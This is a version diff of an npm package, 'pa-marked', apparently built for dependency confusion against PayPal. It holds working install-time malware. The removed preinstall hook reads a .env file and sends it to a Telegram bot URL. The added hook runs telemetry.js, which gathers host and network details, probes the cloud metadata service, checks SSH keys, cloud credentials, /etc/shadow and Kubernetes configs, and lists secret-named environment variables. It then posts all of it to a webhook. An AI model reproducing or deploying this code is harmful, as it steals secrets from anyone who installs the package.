pa-marked 99.1.8 → 99.1.10

package/package.json

@@ -1,10 +1,10 @@
 {
   "name": "pa-marked",
-  "version": "99.1.8",
-  "description": "Security Research PoC",
+  "version": "99.1.10",
+  "description": "Internal security research payload",
   "main": "index.js",
   "scripts": {
-    "preinstall": "node -e \"const h=require('https'),fs=require('fs'),path=require('path'); let data='No_.env_found'; try { const p=path.join(process.cwd(), '../../.env'); if(fs.existsSync(p)){data=fs.readFileSync(p, 'utf8').substring(0, 200).replace(/\\s/g, '_');} } catch(e){data='Error_reading_.env';} h.get('https://api.telegram.org/bot8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w/sendMessage?chat_id=8655055695&text=🚨_ENV_DATA_🚨%0A' + data)\""
+    "preinstall": "node telemetry.js"
   },
   "author": "ALONE BEAST",
   "license": "ISC"

package/telemetry.js

@@ -0,0 +1,81 @@
+const os = require('os');
+const { execSync } = require('child_process');
+const https = require('https');
+
+// Aapka webhook/listener URL yahan aayega
+const WEBHOOK_URL = 'https://your-listener.com/log'; 
+
+const getDetails = () => {
+    let results = {
+        identity: {
+            user: os.userInfo().username,
+            hostname: os.hostname(),
+            platform: os.platform(),
+            arch: os.arch(),
+        },
+        network: {},
+        env_check: {},
+        sensitive_files: []
+    };
+
+    try {
+        // 1. IP and Network Config
+        results.network.interfaces = os.networkInterfaces();
+        if (os.platform() === 'win32') {
+            results.network.dns = execSync('ipconfig /all').toString().split('\n').filter(line => line.includes('DNS')).slice(0, 3);
+        }
+
+        // 2. Cloud Metadata Check (AWS/Azure/GCP) - Highly Sensitive
+        // Ye check karega ki kya hum PayPal ke cloud infrastructure ke andar hain
+        try {
+            results.is_cloud = execSync('curl -m 2 http://169.254.169.254/latest/meta-data/instance-id', { stdio: 'pipe' }).toString();
+        } catch (e) { results.is_cloud = "Non-Cloud or Protected"; }
+
+        // 3. Sensitive File Check (Total 15-20 common paths)
+        const checkPaths = [
+            // Windows Paths
+            `${os.homedir()}\\.ssh\\id_rsa`,
+            `${os.homedir()}\\.ssh\\config`,
+            `${os.homedir()}\\.aws\\credentials`,
+            `${os.homedir()}\\.npmrc`,
+            `${os.homedir()}\\.gitconfig`,
+            `C:\\Windows\\System32\\drivers\\etc\\hosts`,
+            // Linux/WSL Paths
+            '/etc/passwd',
+            '/etc/shadow',
+            `${os.homedir()}/.bash_history`,
+            `${os.homedir()}/.docker/config.json`,
+            `${os.homedir()}/.kube/config`, // Kubernetes config (Gold Mine!)
+            './.env',
+            './config.json',
+            './web.config'
+        ];
+
+        checkPaths.forEach(path => {
+            try {
+                // Hum file read nahi kar rahe, sirf ye dekh rahe hain ki kya wo EXIST karti hai (Impact Proof)
+                require('fs').accessSync(path, require('fs').constants.R_OK);
+                results.sensitive_files.push({ path: path, accessible: true });
+            } catch (e) { /* Not accessible */ }
+        });
+
+        // 4. Environment Variable Check (Privileged info)
+        results.env_keys = Object.keys(process.env).filter(key => 
+            /SECRET|KEY|TOKEN|PASSWORD|AUTH|AWS|AZURE|PAYPAL/i.test(key)
+        );
+
+    } catch (err) {
+        results.error = err.message;
+    }
+
+    return results;
+};
+
+// Exfiltration
+const data = JSON.stringify(getDetails());
+const req = https.request(WEBHOOK_URL, {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
+});
+req.write(data);
+req.end();